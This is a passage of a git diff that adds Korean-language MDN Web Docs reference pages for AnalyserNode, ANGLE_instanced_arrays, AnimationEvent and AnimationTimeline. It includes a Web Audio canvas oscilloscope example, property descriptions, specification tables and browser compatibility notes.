+  - API
+  - Web Audio API
+  - 오디오
+translation_of: Web/API/AnalyserNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<p><strong><code>AnalyserNode</code></strong><strong> </strong>는 시간대 별로 실시간 주파수의 정보를 표현합니다. {{domxref("AudioNode")}} 를 통해 오디오 스트림정보가 그대로 입력되어 출력이 되지만 이를 통해 당신은 새로운 형태의 데이터를 생성하거나, 가공하고 오디오를 시각화 시키는 작업을 할 수 있습니다.</p>
+
+<p><code>AnalyzerNode</code> 는 하나의 입력에 하나의 출력을 가집니다. 그리고 이 노드는 출력이 명시되지 않더라도 동작을 합니다.</p>
+
+<p><img alt="Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT." src="https://mdn.mozillademos.org/files/9707/WebAudioFFT.png" style="height: 174px; width: 661px;"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Number of inputs</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Number of outputs</th>
+   <td><code>1</code> (but may be left unconnected)</td>
+  </tr>
+  <tr>
+   <th scope="row">Channel count mode</th>
+   <td><code>"explicit"</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Channel count</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Channel interpretation</th>
+   <td><code>"speakers"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: See the guide <a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a> for more information on creating audio visualizations.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>{{domxref("AudioNode")}}</em> 를 부모로 가지는 프로퍼티.<em> </em></p>
+
+<dl>
+ <dt><span id="cke_bm_91S" style="display: none;"> </span>{{domxref("AnalyserNode.fftSize")}}</dt>
+ <dd>부호가 없는(unsigned long value) 주파수 영역에서의 전체 크기의 값을 나타내기 위한 푸리에 변환의 값의 크기를 나타낸다. (대략적으로 설명을 하면 해당 주파수영역을 보는데 얼마나 세밀하게 데이터를 볼것인지를 나타낸다. 클수록 세밀하지만 시간이 오래걸리고 작으면 빨리한다.)</dd>
+ <dt> </dt>
+ <dt>{{domxref("AnalyserNode.frequencyBinCount")}} {{readonlyInline}}</dt>
+ <dd>부호가 없는 푸리에변환 값의 절반을 나타낸다. 이 값은 일반적으로 데이터를 시각화 하기위해 사용되는 데이터의 수와 같다.</dd>
+ <dt>{{domxref("AnalyserNode.minDecibels")}}</dt>
+ <dd>double형 값으로 표현되는  FFT(푸리에 변환)로 분석된 데이터의 범위에서의 최소값을 나타낸다. 이는 부호가 없는 바이트 값으로 변환된다. 일반적으로 이 특정한 최소값은 <code>getByteFrequencyData()를 사용하여 얻은 결과값이다.</code></dd>
+ <dt>{{domxref("AnalyserNode.maxDecibels")}}</dt>
+ <dd>double형 값으로 표현되는  FFT(푸리에 변환)로 분석된 데이터의 범위에서의 최대값을 나타낸다. 이는 부호가 없는 바이트 값으로 변환된다. 일반적으로 이 특정한 최대값은 <code>getByteFrequencyData()를 사용하여 얻은 결과값이다.</code></dd>
+ <dt>{{domxref("AnalyserNode.smoothingTimeConstant")}}</dt>
+ <dd>double형 값으로 마지막에 분석된 프레임의 평균 정수값을 나타낸다. 일반적으로 이 값을 통해 time smoother상의 값들을  변환하는데 사용된다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>{{domxref("AudioNode")}} 을 상속하는 메서드.</em></p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatFrequencyData()")}}</dt>
+ <dd>현재의 주파수 데이터를 <span style="line-height: 1.5;"> {{domxref("Float32Array")}} 로 복사해 전달한다.</span></dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getByteFrequencyData()")}}</dt>
+ <dd>현재의 주파수 데이터를 <span style="line-height: 1.5;"> </span>{{domxref("Uint8Array")}} (unsigned byte array)<span style="line-height: 1.5;"> 로 복사해 전달한다.</span></dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatTimeDomainData()")}}</dt>
+ <dd>현재 데이터의 파형, 또는 시간기반(time-domain) 데이터를 <span style="line-height: 1.5;"> {{domxref("Float32Array")}} 배열에 전달한다.</span></dd>
+ <dt>{{domxref("AnalyserNode.getByteTimeDomainData()")}}</dt>
+ <dd>현재 데이터의 파형, 또는 시간기반(time-domain) 데이터를 {{domxref("Uint8Array")}} (unsigned byte array) 로 전달한다.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>이 예제는  {{domxref("AudioContext")}} 를 사용해 <span style="font-family: courier new,andale mono,monospace; line-height: 1.5;">AnalyserNode를 생성하여 사용하는 방법을 보여주고, </span><span style="line-height: 1.5;"> {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} and {{htmlelement("canvas")}} 를 통해 반복적으로 시간기반(time-domain) 의 정보를 반복적으로 수집 및 </span><span style="line-height: 1.5;"> "oscilloscope style" 를 통해 입력된 오디오 정보를 시각화하여 보여주는 예제입니다. 더 많은 정보와 예제는 </span><span style="line-height: 1.5;"> </span><a href="http://mdn.github.io/voice-change-o-matic/" style="line-height: 1.5;">Voice-change-O-matic</a><span style="line-height: 1.5;"> demo (see </span><a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205" style="line-height: 1.5;">app.js lines 128–205</a><span style="line-height: 1.5;"> for relevant code)를 확인 하세요.</span></p>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+// 새로운 <span style="font-family: courier new,andale mono,monospace;">AnalyserNode를 생성한다.</span>
+  ...
+
+analyser.fftSize = 2048; // FFT의 크기를 2048로 한다.
+var bufferLength = analyser.frequencyBinCount; // 시각화를 하기 위한 데이터의 갯수
+var dataArray = new Uint8Array(bufferLength); // 데이터를 담을 bufferLength 크기의 Unit8Array의 배열을 생성
+analyser.getByteTimeDomainData(dataArray); // 시간기반의 데이터를 Unit8Array배열로 전달
+
+// 얻어진 데이터를 기반으로 시각화 작업을 한다. 캔버스를 이용한다.
+
+function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i &lt; bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-analysernode-interface', 'AnalyserNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.AnalyserNode")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/angle_instanced_arrays/index.html b/files/ko/web/api/angle_instanced_arrays/index.html
new file mode 100644
index 0000000000..0e86bf91ba
--- /dev/null
+++ b/files/ko/web/api/angle_instanced_arrays/index.html
@@ -0,0 +1,83 @@
+---
+title: ANGLE_instanced_arrays
+slug: Web/API/ANGLE_instanced_arrays
+translation_of: Web/API/ANGLE_instanced_arrays
+---
+<div><font><font>{{APIRef ( "WebGL")}}</font></font></div>
+
+<p><font><font>이 </font></font><code><strong>ANGLE_instanced_arrays</strong></code><font><font>확장은 </font></font><a href="/en-US/docs/Web/API/WebGL_API"><font><font>WebGL API의</font></font></a><font><font> 일부이며 </font><font>동일한 객체 또는 동일한 객체 그룹을 같은 정점 데이터, 기본 개수 및 유형을 공유하는 경우 여러 번 그릴 수 있습니다.</font></font></p>
+
+<p><font><font>WebGL 확장은 {{domxref ( "WebGLRenderingContext.getExtension()")}} 메서드를 사용하여 사용할 수 있습니다. </font><font>자세한 내용 </font><font>은 </font><a href="/en-US/docs/Web/API/WebGL_API/Tutorial"><font>WebGL 자습서의 </font></a></font><a href="/en-US/docs/Web/API/WebGL_API/Using_Extensions"><font><font>Extensions 사용을</font></font></a><font><font> 참조하십시오 </font><font>.</font></font></p>
+
+<div class="note">
+<p><strong><font><font>가용성 :</font></font></strong><font><font> 이 확장은 {{domxref ( "WebGLRenderingContext", "WebGL1", "", 1)}} 컨텍스트에서만 사용할 수 있습니다. </font><font>{{domxref ( "WebGL2RenderingContext", "WebGL2", "", 1)}}에서이 확장 기능은 기본적으로 WebGL2 컨텍스트에서 사용할 수 있으며 상수 및 메서드는 </font></font><code>ANGLE</code><font><font>접미사 </font><font>없이 사용할 수 있습니다 </font><font>.</font></font></p>
+
+<p><font><font>"ANGLE"이라는 이름에도 불구하고이 확장은 하드웨어가 ANGLE 라이브러리를 사용할 때 Windows에서만 지원하는 것이 아닌 모든 장치에서 작동합니다. </font><font>"ANGLE"은이 확장이 ANGLE 라이브러리 작성자에 의해 작성되었음을 나타냅니다.</font></font></p>
+</div>
+
+<h2 id="상수"><font><font>상수</font></font></h2>
+
+<p><font><font>이 확장은 {{domxref ( "WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}} 메서드에서 사용할 수있는 하나의 새로운 상수를 제공합니다.</font></font></p>
+
+<dl>
+ <dt><code>ext.VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE</code></dt>
+ <dd><font><font>{{domxref ( "WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}}에서 </font></font><code>pname</code><font><font>매개 변수 </font><font>로 사용될 때 인스턴스 렌더링에 사용되는 빈도 제수를 설명하는 {{domxref("GLint")}}를 반환합니다 </font><font>.</font></font></dd>
+</dl>
+
+<h2 id="메서드"><font><font>메서드</font></font></h2>
+
+<p><font><font>이 확장은 세 가지 새로운 메서드를 노출합니다.</font></font></p>
+
+<dl>
+ <dt><font><font>{{domxref ( "ANGLE_instanced_arrays.drawArraysInstancedANGLE ()", "ext.drawArraysInstancedANGLE ()")}}</font></font></dt>
+ <dd>
+ <p><font><font>{{domxref ( "WebGLRenderingContext.drawArrays ()", "gl.drawArrays ()")}}와 동일하게 동작하지만 요소 범위의 인스턴스가 여러 개 실행되고 각 반복마다 인스턴스가 진행됩니다.</font></font></p>
+ </dd>
+ <dt><font><font>{{domxref ( "ANGLE_instanced_arrays.drawElementsInstancedANGLE ()", "ext.drawElementsInstancedANGLE ()")}}</font></font></dt>
+ <dd>
+ <p><font><font>{{domxref ( "WebGLRenderingContext.drawElements ()", "gl.drawElements ()")}}와 동일하게 동작하지만 요소 세트의 여러 인스턴스가 실행되고 각 세트간에 인스턴스가 진행됩니다.</font></font></p>
+ </dd>
+ <dt><font><font>{{domxref ( "ANGLE_instanced_arrays.vertexAttribDivisorANGLE ()", "ext.vertexAttribDivisorANGLE ()")}}</font></font></dt>
+ <dd>
+ <p><font><font>{{domxref ( "ANGLE_instanced_arrays.drawArraysInstancedANGLE ()", "ext.drawArraysInstancedANGLE ()")}} 및 {{domxref ( "ANGLE_instanced_arrays.drawElementsInstancedANGLE ()")}}로 여러 프리미티브 인스턴스를 렌더링 할 때 일반 정점 속성이 증가하는 비율을 수정합니다. , "ext.drawElementsInstancedANGLE ()")}}.</font></font></p>
+ </dd>
+</dl>
+
+<h2 id="예제"><font><font>예제</font></font></h2>
+
+<p><font><font>확장 기능 사용 :</font></font></p>
+
+<pre class="brush: js"><font><font>var ext = gl.getExtension ( 'ANGLE_instanced_arrays');
+</font></font></pre>
+
+<h2 id="사양"><font><font>사양</font></font></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col"><font><font>사양</font></font></th>
+   <th scope="col"><font><font>지위</font></font></th>
+   <th scope="col"><font><font>논평</font></font></th>
+  </tr>
+  <tr>
+   <td><font><font>{{SpecName ( 'ANGLE_instanced_arrays', '', 'ANGLE_instanced_arrays')}}</font></font></td>
+   <td><font><font>{{Spec2 ( 'ANGLE_instanced_arrays')}}</font></font></td>
+   <td><font><font>초기 정의.</font></font></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성"><font><font>브라우저 호환성</font></font></h2>
+
+<p class="hidden"><font><font>이 페이지의 호환성 테이블은 구조화 된 데이터에서 생성됩니다. </font><font>데이터에 기여하고 싶다면 </font></font><a href="https://github.com/mdn/browser-compat-data"><font><font>https://github.com/mdn/browser-compat-data</font></font></a><font><font> 를 확인하고 </font><font>당기 요청을 보내주십시오.</font></font></p>
+
+<p><font><font>{{Compat ( "api.ANGLE_instanced_arrays")}}</font></font></p>
+
+<h2 id="같이_보기"><font><font>같이 보기</font></font></h2>
+
+<ul>
+ <li><font><font>{{domxref ( "WebGLRenderingContext.getExtension ()")}}</font></font></li>
+ <li><font><font>{{domxref ( "WebGL2RenderingContext.drawArraysInstanced ()")}}</font></font></li>
+ <li><font><font>{{domxref ( "WebGL2RenderingContext.drawElementsInstanced ()")}}</font></font></li>
+ <li><font><font>{{domxref ( "WebGL2RenderingContext.vertexAttribDivisor ()")}}</font></font></li>
+</ul>
diff --git a/files/ko/web/api/animationevent/animationevent/index.html b/files/ko/web/api/animationevent/animationevent/index.html
new file mode 100644
index 0000000000..4647191202
--- /dev/null
+++ b/files/ko/web/api/animationevent/animationevent/index.html
@@ -0,0 +1,76 @@
+---
+title: AnimationEvent()
+slug: Web/API/AnimationEvent/AnimationEvent
+tags:
+  - API
+  - CSSOM
+  - Constructor
+  - Experimental
+  - Reference
+  - Web Animations
+translation_of: Web/API/AnimationEvent/AnimationEvent
+---
+<div>{{APIRef("Web Animations")}}{{SeeCompatTable}}</div>
+
+<p><code><strong>AnimationEvent()</strong></code> 생성자는 애니메이션 이벤트인 {{domxref("AnimationEvent")}} 객체를 새로 만들어 리턴합니다. </p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>animationEvent</em> = new AnimationEvent(<em>type</em>, {animationName: <em>aPropertyName</em>,
+                                           elapsedTime  : <em>aFloat</em>,
+                                           pseudoElement: <em>aPseudoElementName</em>});
+</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<p id="AnimationEvent()_생성자는_인자를_domxref(Event.Event_Event())_객체로부터_상속받습니다."><em><code>AnimationEvent()</code> 생성자는 인자를 {{domxref("Event.Event", "Event()")}} 객체로부터 상속받습니다. </em></p>
+
+<dl>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">type</font></dt>
+ <dd>{{domxref("DOMString")}}는 <code>AnimationEvent </code>타입의 이름을 나타냅니다. 대소문자를 구별하며, <code>'animationstart'</code>, <code>'animationend'</code>, 또는 <code>'animationiteration'</code> 와 같이 쓸 수 있습니다.</dd>
+ <dt><code>animationName</code> {{optional_inline}}</dt>
+ <dd>{{domxref("DOMString")}}는 {{cssxref("animation-name")}}의 변화와 관련된 CSS 프로퍼티 값을 포함합니다. 디폴트 값은 <code>"" 입니다</code>.</dd>
+ <dt><code>elapsedTime</code> {{optional_inline}}</dt>
+ <dd>
+ <p>float 타입 값이며 이벤트가 발생할 시, 애니메이션이 정지했던 시간을 제외하고 실제 실행되었던 시간을 초 단위로 받습니다. "<code>animationstart</code>" 이벤트의 경우, {{cssxref("animation-delay")}}의 네비게이트 값이 존재하지 않는다면 <font face="Consolas, Liberation Mono, Courier, monospace">elapsedTime은 </font>0.0<font face="Consolas, Liberation Mono, Courier, monospace">이고, 네비게이트 값이 존재한다면 elapsedTime이 (-1 * delay)값이 되고 이벤트가 발생하게 됩니다. </font>디폴트 값은 0.0입니다.</p>
+ </dd>
+ <dt><code>pseudoElement</code> {{optional_inline}}</dt>
+ <dd><code>"::"로 시작하는 </code>{{domxref("DOMString")}} 이고, 애니메이션이 실행되는 <a href="/en-US/docs/Web/CSS/Pseudo-elements" title="Learn more about pseudo-elements.">pseudo-element</a>의 이름을  포함합니다. 애니메이션이 pseudo-element에서 실행되지 않고, 원소 자체에서 실행된다면 빈 스트링 : <code>""</code>을 명시하십시오. 디폴트 값은 <code>"" 입니다</code>.</dd>
+</dl>
+
+<h3 id="리턴_값">리턴 값</h3>
+
+<p>주어진 옵션에 의해 초기화된 {{domxref("AnimationEvent")}}</p>
+
+<h2 id="상세">상세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent()') }}</td>
+   <td>{{ Spec2('CSS3 Animations')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div id="compat-mobile">
+<p>{{Compat("api.AnimationEvent.AnimationEvent")}}</p>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_animations">Using CSS animations</a></li>
+ <li>Animation-related CSS properties and at-rules: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}</li>
+ <li>The {{domxref("AnimationEvent")}} interface it belongs to.</li>
+</ul>
diff --git a/files/ko/web/api/animationevent/animationname/index.html b/files/ko/web/api/animationevent/animationname/index.html
new file mode 100644
index 0000000000..8d63e43708
--- /dev/null
+++ b/files/ko/web/api/animationevent/animationname/index.html
@@ -0,0 +1,53 @@
+---
+title: AnimationEvent.animationName
+slug: Web/API/AnimationEvent/animationName
+tags:
+  - API
+  - AnimationEvent
+  - CSSOM
+  - 레퍼런스
+  - 실험중
+  - 웹 애니메이션
+  - 프로퍼티
+translation_of: Web/API/AnimationEvent/animationName
+---
+<p>{{SeeCompatTable}}{{ apiref("Web Animations API") }}</p>
+
+<p>읽기 전용 프로퍼티인 <code><strong>AnimationEvent.animationName</strong></code>는 변화(transition)과 관련된 CSS 프로퍼티 {{cssxref("animation-name")}}의 값을 포함하는 {{domxref("DOMString")}}입니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>name</em> = <em>AnimationEvent</em>.animationName</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-animationName', 'AnimationEvent.animationName') }}</td>
+   <td>{{ Spec2('CSS3 Animations')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.AnimationEvent.animationName")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_animations">Using CSS animations</a></li>
+ <li>Animation-related CSS properties and at-rules: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}.</li>
+ <li>The {{domxref("AnimationEvent")}} interface it belongs to.</li>
+</ul>
diff --git a/files/ko/web/api/animationevent/index.html b/files/ko/web/api/animationevent/index.html
new file mode 100644
index 0000000000..757e9a911e
--- /dev/null
+++ b/files/ko/web/api/animationevent/index.html
@@ -0,0 +1,78 @@
+---
+title: AnimationEvent
+slug: Web/API/AnimationEvent
+tags:
+  - API
+  - Experimental
+  - Interface
+  - Reference
+  - Web Animations
+translation_of: Web/API/AnimationEvent
+---
+<p>{{SeeCompatTable}}{{APIRef("Event")}}</p>
+
+<p><strong><code>AnimationEvent</code></strong> 인터페이스는 <a href="/ko/docs/Web/CSS/CSS_Animations/Using_CSS_animations">에니메이션</a>과 관련된 정보를 제공하는 이벤트를 나타냅니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.AnimationEvent", "AnimationEvent()")}}</dt>
+ <dd>주어진 매개변수로 <code>AnimationEvent</code>를 생성합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p><em>{{domxref("Event")}}의 속성을 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.animationName")}} {{readonlyInline}}</dt>
+ <dd>트랜지션과 관련된 {{cssxref("animation-name")}} CSS 속성의 값을 가진 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("AnimationEvent.elapsedTime")}} {{readonlyInline}}</dt>
+ <dd>애니메이션이 재생된 총 시간을 나타내는 실수입니다. 초 단위로, 애니메이션이 일시정지된 시간은 제외합니다. <code>animationstart</code> 이벤트의 <code>elapsedTime</code>은 <code>0.0</code>이지만, {{cssxref("animation-delay")}} 값이 음수였다면 대신 <code>(-1 * delay)</code>를 값으로 가집니다.</dd>
+ <dt>{{domxref("AnimationEvent.pseudoElement")}} {{readonlyInline}}</dt>
+ <dd>애니메이션이 재생 중인 <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>의 이름을 값으로 가진 {{domxref("DOMString")}}입니다. <code>'::'</code>으로 시작합니다. 애니메이션이 일반 요소에서 재생 중이라면 빈 문자열 <code>''</code>을 반환합니다.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>{{domxref("Event")}}</em>의 메서드를 상속합니다.</p>
+
+<dl>
+ <dt>{{domxref("AnimationEvent.initAnimationEvent()")}} {{non-standard_inline}}{{deprecated_inline}}</dt>
+ <dd>삭제 예정 메서드 {{domxref("Document.createEvent()", "Document.createEvent(\"AnimationEvent\")")}}를 사용해 <code>AnimationEvent</code>를 초기화합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.AnimationEvent")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Animations/Using_CSS_animations">CSS 애니메이션 사용하기</a></li>
+ <li>애니메이션 관련 CSS 속성과 @-규칙: {{cssxref("animation")}}, {{cssxref("animation-delay")}}, {{cssxref("animation-direction")}}, {{cssxref("animation-duration")}}, {{cssxref("animation-fill-mode")}}, {{cssxref("animation-iteration-count")}}, {{cssxref("animation-name")}}, {{cssxref("animation-play-state")}}, {{cssxref("animation-timing-function")}}, {{cssxref("@keyframes")}}.</li>
+</ul>
diff --git a/files/ko/web/api/animationtimeline/currenttime/index.html b/files/ko/web/api/animationtimeline/currenttime/index.html
new file mode 100644
index 0000000000..8a647166b6
--- /dev/null
+++ b/files/ko/web/api/animationtimeline/currenttime/index.html
@@ -0,0 +1,102 @@
+---
+title: AnimationTimeline.currentTime
+slug: Web/API/AnimationTimeline/currentTime
+translation_of: Web/API/AnimationTimeline/currentTime
+---
+<div>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</div>
+
+<p> </p>
+
+<p>Web Animations API의 AnimationTimeline 인터페이스의 currentTime 읽기 전용 속성은 타임 라인의 현재 시간을 밀리 초 단위로 반환하거나 타임 라인이 비활성 상태이면 null을 반환합니다.출력 값이 생성되는 시간 세그먼트를 정의합니다. 이러한 값은 대상 속성에 애니메이션 효과를 적용하는 데 사용됩니다.</p>
+
+<pre class="syntaxbox">var <em>currentTime</em> = <em>AnimationTimeline</em>.currentTime;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p> </p>
+
+<p>타임 라인의 현재 시간을 밀리 초 단위로 나타내는 숫자 또는 타임 라인이 비활성 상태 인 경우 null입니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animationtimeline-currenttime', 'currentTime' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Editor's draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(54)}}</td>
+   <td>
+    <p>{{CompatGeckoDesktop(34)}}<sup>[1]</sup></p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(54)}}</td>
+   <td>{{CompatChrome(54)}}</td>
+   <td>{{CompatGeckoMobile(34)}}<sup>[1]</sup></td>
+   <td>{{ CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] The Web Animations API is only enabled by default in Firefox Developer Edition and Nightly builds. You can let it in beta and release forms by setting the preference <code>dom.animations-api.core.enabled</code> to <code>true</code>, and can disable it in any Firefox version by setting this preference to <code>false</code>.</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("AnimationTimeline")}}</li>
+ <li>{{domxref("DocumentTimeline")}} inherits this property</li>
+ <li>{{domxref("Document.timeline")}} returns a timeline object which inherits this property</li>
+</ul>
diff --git a/files/ko/web/api/animationtimeline/index.html b/files/ko/web/api/animationtimeline/index.html
new file mode 100644
index 0000000000..0ae7553352
--- /dev/null
+++ b/files/ko/web/api/animationtimeline/index.html
@@ -0,0 +1,56 @@
+---
+title: AnimationTimeline
+slug: Web/API/AnimationTimeline
+tags:
+  - API
+  - Animation
+  - AnimationTimeline
+  - Experimental
+  - Interface
+  - Reference
+  - Web Animations
+  - waapi
+  - web animations api
+translation_of: Web/API/AnimationTimeline
+---
+<div>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</div>
+
+<p>The <code>AnimationTimeline</code> interface of the <a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> represents the timeline of an animation. This interface exists to define timeline features (inherited by {{domxref("DocumentTimeline")}} and future timeline types) and is not itself directly used by developers. Anywhere you see <code>AnimationTimeline</code>, you should use <code>DocumentTimeline</code> or any other timeline type instead.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("AnimationTimeline.currentTime")}} {{readonlyInline}}</dt>
+ <dd>Returns the time value in milliseconds for this timeline or <code>null</code> if this timeline is inactive.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#the-animationtimeline-interface', 'AnimationTimeline' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Editor's draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.AnimationTimeline")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("DocumentTimeline")}}</li>
